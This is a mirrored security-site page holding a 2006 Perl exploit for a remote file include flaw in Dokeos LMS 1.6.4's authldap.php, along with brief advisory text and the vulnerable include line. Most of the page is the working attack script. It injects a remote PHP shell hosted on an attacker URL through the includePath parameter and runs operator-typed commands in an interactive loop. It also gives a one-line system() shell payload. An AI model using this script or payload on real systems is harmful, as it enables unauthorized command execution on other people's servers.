首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit
来源:xbefordx@gmail.com 作者:beford 发布时间:2006-05-08  

#!/usr/bin/perl
############
# Dokeos Learning Management System 1.6.4 Remote File Include
# Exploit & Advisorie: beford <xbefordx gmail com>
#
# uso:# perl own.pl <host> <cmd-shell-url> <cmd-var>
# perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
#############
# Vendor: http://www.dokeos.com/
# The file dokeos/claroline/auth/ldap/authldap.php uses the variable
# includePath in a include() function without being declared.
# This issue has already been fixed in current claroline.net version,
# but dokeos still uses a vulnerable version.
############
# Vulnerable code
############
# include ("$includePath/../auth/ldap/ldap_var.inc.php");
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
print "[shell] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
if (!$cmd) {last;}
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'claroline/auth/ldap/authldap.php?includePath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if ($return =~/Error: HTTP request failed!/ ) {
print "\nInvalid path for phpshell\n";
exit;
} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
print "\nInvalid Command, error.\n\n";
}
if ($return =~ /(.*)/) {
$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
last;
} else {
print "[shell] \$";
}
}
} last;

sub head() {
print "\n============================================================================\r\n";
print " Dokeos Learning Management System Remote File Include\r\n";
print "============================================================================\r\n";
}

sub usage() {
head();
print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
print " <host> - Full Path : http://host/dokeos/ \r\n";
print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
print " <var> - var name used in phpshell : cmd \r\n\r\n";
exit();
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ISPConfig <= 2.2.2 (session
·Claroline e-Learning 1.75 (lda
·Jetbox CMS <= 2.1 (relative
·ActualAnalyzer Pro <= 6.88
·PHP-Fusion <= 6.00.306 Mult
·Intel Wireless Service (s24evm
·TinyFTPD <= 1.4 (USER) Remo
·MS Internet Explorer <= 6.0
·acFTP FTP Server <= 1.4 (US
·Medal of Honor (getinfo) Remot
·HiveMail <= 1.3 (addressboo
·Unclassified NewsBoard <= 1
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved